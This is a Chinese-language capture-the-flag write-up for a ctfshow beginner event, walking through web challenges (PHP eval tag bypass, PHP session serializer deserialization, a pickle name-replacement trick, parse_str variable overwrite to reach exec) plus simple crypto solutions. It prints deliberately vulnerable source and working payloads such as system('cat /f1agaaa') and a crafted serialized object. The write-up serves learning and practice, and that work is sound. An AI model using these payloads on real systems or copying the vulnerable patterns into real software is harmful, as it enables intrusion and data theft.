我确实是新手。

WEB

easy_eval

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code); //中止
}

?>提前中止php,后面就不会执行代码了。因此$code需要传一个php标签,但str_replace过滤了问号。考虑用script风格标签。一开始没想到script风格标签导致卡了很久555。

payload:

code=<script language="php">
system('cat /f1agaaa');
</script>
image-20221005221523758

剪刀石头布

连续猜拳赢100次得到flag(耍你的

审计代码:

<?php
    ini_set('session.serialize_handler', 'php');
    if(isset($_POST['source'])){
        highlight_file(__FILE__);
    phpinfo();
    die();
    }
    error_reporting(0);
    include "flag.php";
    class Game{
        public $log,$name,$play;

        public function __construct($name){
            $this->name = $name;
            $this->log = '/tmp/'.md5($name).'.log';
        }
        //略

        public function __destruct(){
                echo "<h5>Game History</h5>\n";
        echo "<div class='all_output'>\n";
                echo file_get_contents($this->log);
        echo "</div>";
        }
    }

?>
<?php
    session_start();
    if(isset($_POST['name'])){
        $_SESSION['name']=$_POST['name'];
        $_SESSION['win']=0;
    }
    if(!isset($_SESSION['name'])){
        ?>
...
<?php exit();
    }

?>
    <?php
    $choices = array("Rock", "Paper", "Scissors");
    $rand_bot = array_rand($choices);
    $bot_input = $choices[$rand_bot];
    if(isset($_POST["choice"]) AND in_array($_POST["choice"],$choices)){
        $user_input = $_POST["choice"];
        $result=$Game->play($user_input,$bot_input);
        if ($result=="You Win"){
            $_SESSION['win']+=1;
        } else {
            $_SESSION['win']=0;
        }
    } else {
        ?>
        //...
        <?php
        if(isset($_POST["flag"])){
            if($_SESSION['win']<100){
                echo "<div>You need to win 100 rounds in a row to get flag.</div>";
            } else {
                echo "Here is your flag:".$flag;
            }

        }
    }
    ?>

这里有一个很刻意的指出了ini_set(‘session.serialize_handler’, ‘php’);序列化handler可控,并且发现session.upload_progress.name为PHP_SESSION_UPLOAD_PROGRESS,很明显的phpsession差异导致的反序列化。

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致安全问题。

这是因为当使用php引擎的时候,php引擎会以**|**作为key和value的分隔符。

以上内容节选自spoock师傅.

以这道题为例。

由于session.upload_progress.name为PHP_SESSION_UPLOAD_PROGRESS,那么该session文件的内容是可控的,就是POST的filename。

上传页面:

<form action="http://a188d7a8-2a27-4c8f-bdb0-da187c09c567.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

结合Game类的代码,我们把log设置为flag.php即可,序列化生成:

O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}

filename赋值为|O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}。、php引擎会以**|**作为key和value的分隔符

也就是’s:6:"Squirt1e”;s:67:”‘=>’O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}’,从而在析构函数读取flag。

image-20221005224014534

baby_pickle

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id
@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"
    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)
    message = user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag"
    return message
@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "你不是大菜鸡"
        return message
    else:
        message = "恭喜你成为大菜鸡" + flag
        return message
@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname) //*
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

非预期了。pickle反序列化。然后注意到了info = info.replace(name, newname),只要让user.id=0即可,假设第一次默认路由让id=1,那么注册一个name=2的用户,然后通过/change改成0即可替换掉user.id。

注册用户2。

image-20221005225054520

修改用户名,注意base编码。

image-20221005225158916

访问/dacaiji,这里没想明白为啥name没被替换成0。

image-20221005225223114

repairman

hello,the user!We may change the mode to repaie the server,please keep it unchanged

让mode=0,看到了代码。

Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}
if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}
function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}
if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo 'hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

传一个secret为MD5后的token即可执行exec,但是preg_replace只让传字母数字。

然后注意到 ,通过url传参给变量赋值,这里我们把config变量赋值成空就可以了,secret传md5后的admin值即可享受999帝王权限。

$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);

exec无回显,写文件即可,flag藏在config.php中。

image-20221005225937220

访问a.txt

<?php
$config['serect'] = md5(mt_rand(0,9999));
$flag = 'ctfshow{4439affe-320c-4865-98ab-3650a3483fca}';

CRYPTO

easy_base

翻转,base64解密即可。

凯撒密码

def decode():
    text=['r', 'y', 'd', 't', 'x', 'c', 'i', '{', 'y', 'x', '1', 't', '_', 'u', 't', '_', 'z', '1', 'd', 'd', 'a', 'q', 'h', 'y', '_', 'r', '4', 'q', 't', 'n', 'a', '!', '!', '}']
    flag=[]
    table=list(ascii_lowercase)
    table=['h', 'g', 'u', 'p', 'o', 'v', 'n', 'b', 'i', 'j', 'y', 'k', 'a', 'z', 'w', 'q', 't', 'l', 'r', 'd', 'x', 'e', 's', 'm', 'c', 'f']
    for key in range(0,26): 
        for i in text:
            if i in table:
                flag.append(table[(table.index(i)+key)%26])
            else:
                flag.append(i)
        print("".join(flag))
        flag=[]
decode()

ctfshow{th1s_is_d1ffrent_c4esar!!}

RE

你newbee吗

拖到IDA。